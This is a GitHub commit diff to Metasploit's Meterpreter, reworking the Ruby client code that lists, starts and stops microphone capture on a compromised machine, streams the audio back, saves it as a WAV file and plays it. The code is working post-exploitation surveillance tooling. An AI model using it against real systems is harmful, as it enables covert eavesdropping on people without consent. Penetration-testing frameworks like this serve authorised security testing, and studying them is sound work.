Skip to content

Commit e8468a5

Browse files
pbarry-r7dmohanty-r7
authored andcommitted
Cleanup.
1 parent 5c5044a commit e8468a5

File tree

4 files changed

+89
-51
lines changed

4 files changed

+89
-51
lines changed

lib/rex/post/meterpreter/extensions/stdapi/mic/mic.rb

Lines changed: 6 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -26,38 +26,26 @@ def session
2626
@client
2727
end
2828

29+
# List available microphones
2930
def mic_list
3031
response = client.send_request(Packet.create_request('audio_mic_list'))
3132
names = []
32-
response.get_tlvs(TLV_TYPE_AUDIO_INTERFACE_FULLNAME).each do |tlv|
33+
response.get_tlvs(TLV_TYPE_AUDIO_INTERFACE_NAME).each do |tlv|
3334
names << tlv.value
3435
end
3536
names
3637
end
3738

38-
# Starts recording video from video source of index +cam+
39-
def mic_start
39+
# Starts recording audio from microphone
40+
def mic_start(device_id)
4041
request = Packet.create_request('audio_mic_start')
41-
request.add_tlv(TLV_TYPE_AUDIO_INTERFACE_NAME, 0)
42+
request.add_tlv(TLV_TYPE_AUDIO_INTERFACE_ID, device_id)
4243
response = client.send_request(request)
43-
#channel_id = response.get_tlv_value(TLV_TYPE_CHANNEL_ID)
44-
# If we were creating a channel out of this
4544

4645
channel = Channel.create(client, 'audio_mic', Rex::Post::Meterpreter::Channels::Pools::AudioStreamPool, CHANNEL_FLAG_SYNCHRONOUS)
47-
48-
#if (channel_id != nil)
49-
# channel = Rex::Post::Meterpreter::Channels::Pools::StreamPool.new(client,
50-
# channel_id, "audio_mic", CHANNEL_FLAG_SYNCHRONOUS)
51-
#end
52-
end
53-
54-
def mic_get_frame(quality)
55-
request = Packet.create_request('audio_mic_get_frame')
56-
request.add_tlv(TLV_TYPE_AUDIO_DURATION, quality)
57-
response = client.send_request(request)
58-
response.get_tlv(TLV_TYPE_AUDIO_DATA).value
5946
end
6047

48+
# Stop recording from microphone
6149
def mic_stop
6250
client.send_request(Packet.create_request('audio_mic_stop'))
6351
true

lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -85,8 +85,8 @@ def initialize(client)
8585
'ext' => Rex::Post::Meterpreter::Extensions::Stdapi::Webcam::Webcam.new(client)
8686
},
8787
{
88-
'name' => 'mic',
89-
'ext' => Rex::Post::Meterpreter::Extensions::Stdapi::Mic::Mic.new(client)
88+
'name' => 'mic',
89+
'ext' => Rex::Post::Meterpreter::Extensions::Stdapi::Mic::Mic.new(client)
9090
},
9191
{
9292
'name' => 'ui',

lib/rex/post/meterpreter/extensions/stdapi/tlv.rb

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -249,10 +249,10 @@ module Stdapi
249249
#
250250
##
251251

252-
TLV_TYPE_AUDIO_DURATION = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 1)
253-
TLV_TYPE_AUDIO_DATA = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 2)
254-
TLV_TYPE_AUDIO_INTERFACE_NAME = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 3)
255-
TLV_TYPE_AUDIO_INTERFACE_FULLNAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 4)
252+
TLV_TYPE_AUDIO_DURATION = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 10)
253+
TLV_TYPE_AUDIO_DATA = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 11)
254+
TLV_TYPE_AUDIO_INTERFACE_ID = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 12)
255+
TLV_TYPE_AUDIO_INTERFACE_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 13)
256256

257257
end; end; end; end; end
258258

lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/mic.rb

Lines changed: 77 additions & 27 deletions
Original file line numberDiff line numberDiff line change
@@ -22,12 +22,30 @@ class Console::CommandDispatcher::Stdapi::Mic
2222
# List of supported commands.
2323
#
2424
def commands
25-
{
26-
'mic_start' => 'play an audio stream from the specified mic',
27-
'mic_stop' => 'stop capturing audio from device',
28-
'mic_list' => 'list all audio interfaces',
29-
'listen' => 'listen to audio via audio player'
25+
all = {
26+
'mic_start' => 'start capturing an audio stream from the target mic',
27+
'mic_stop' => 'stop capturing audio',
28+
'mic_list' => 'list all microphone interfaces',
29+
'listen' => 'listen to streaming audio via audio player'
3030
}
31+
reqs = {
32+
'mic_start' => [ 'audio_mic_start' ],
33+
'mic_stop' => [ 'audio_mic_stop' ],
34+
'mic_list' => [ 'audio_mic_list' ],
35+
'listen' => [ 'audio_mic_start' ]
36+
}
37+
38+
all.delete_if do |cmd, _desc|
39+
del = false
40+
reqs[cmd].each do |req|
41+
next if client.commands.include? req
42+
del = true
43+
break
44+
end
45+
del
46+
end
47+
48+
all
3149
end
3250

3351
#
@@ -72,54 +90,86 @@ def audio_file_wave_header(sample_rate_hz, num_channels, bits_per_sample, data_s
7290
]
7391
end
7492

75-
def cmd_mic_start(start_delay=4096)
76-
print_status("Streaming mic audio channel...")
93+
def cmd_mic_start(*args)
94+
start_delay = 8
95+
device_id = 1
96+
duration = 1800
97+
play_stream = true
98+
saved_audio_path = Rex::Text.rand_text_alpha(8) + ".wav"
99+
100+
mic_start_opts = Rex::Parser::Arguments.new(
101+
"-h" => [ false, "Help Banner" ],
102+
"-d" => [ true, "The stream duration in seconds (Default: 1800)" ], # 30 min
103+
"-m" => [ true, "Microphone device index to record from (1: system default)" ],
104+
"-p" => [ true, "Automatically start a player for the stream (Default: '#{play_stream}')" ],
105+
"-s" => [ true, "The saved audio file path (Default: '#{saved_audio_path}')" ]
106+
)
107+
108+
mic_start_opts.parse(args) do |opt, _idx, val|
109+
case opt
110+
when "-h"
111+
print_line("Usage: mic_start [options]\n")
112+
print_line("Streams and records audio from the target microphone.")
113+
print_line(mic_start_opts.usage)
114+
return
115+
when "-d"
116+
duration = val.to_i
117+
when "-m"
118+
device_id = val.to_i
119+
when "-p"
120+
play = false if val =~ /^(f|n|0)/i
121+
when "-s"
122+
saved_audio_path = val
123+
end
124+
end
77125

78-
if client.mic.mic_list.length == 0
126+
mic_list = client.mic.mic_list
127+
if mic_list.length == 0
79128
print_error("Target does not have a mic")
80129
return
81130
end
131+
if device_id < 1 || device_id > mic_list.length
132+
print_error("Target does not have a mic with an id of #{device_id}")
133+
return
134+
end
82135

83-
print_status("Starting...")
84-
stream_path = Rex::Text.rand_text_alpha(8) + ".wav"
85-
duration = 1800
86-
quality = 50
87-
88-
print_status("Audio File: #{stream_path}")
89-
print_status("Streaming...")
90-
136+
print_status("Saving to audio file: #{saved_audio_path}")
91137
begin
92-
channel = client.mic.mic_start
138+
channel = client.mic.mic_start(device_id)
93139
mic_started = true
140+
print_status("Streaming started...")
94141
::Timeout.timeout(duration) do
95-
::File.open(stream_path, 'wb') do |outfd|
142+
::File.open(saved_audio_path, 'wb') do |outfd|
96143
audio_file_wave_header(11025, 1, 16, 2000000000).each { |e| e.write(outfd) }
97144
end
98145
stream_index = 0
99146
while client do
100-
if stream_index == start_delay
101-
cmd_listen(stream_path)
102-
end
103147
Rex::sleep(0.5)
104-
#data = client.mic.mic_get_frame(quality)
105148
data = channel.read(65536)
106149
if data
107-
::File.open(stream_path, 'a') do |f|
150+
::File.open(saved_audio_path, 'a') do |f|
108151
f.write(data)
109152
end
110153
data = nil
154+
stream_index += 1
155+
if stream_index == start_delay
156+
cmd_listen(saved_audio_path)
157+
end
111158
end
112-
stream_index += 1
113159
end
114160
end
115161
rescue ::Timeout::Error
116162
ensure
117-
client.mic.mic_stop if mic_started
163+
if mic_started
164+
client.mic.mic_stop
165+
print_status("Streaming stopped.")
166+
end
118167
end
119168
end
120169

121-
def cmd_listen(stream_path)
122-
Rex::Compat.open_webrtc_browser("file://#{::File.absolute_path(stream_path)}")
170+
def cmd_listen(saved_audio_path)
171+
#Rex::Compat.open_webrtc_browser("file://#{::File.absolute_path(saved_audio_path)}")
172+
Rex::Compat.play_sound(::File.expand_path(saved_audio_path))
123173
end
124174

125175
def cmd_mic_stop

0 commit comments

Comments
 (0)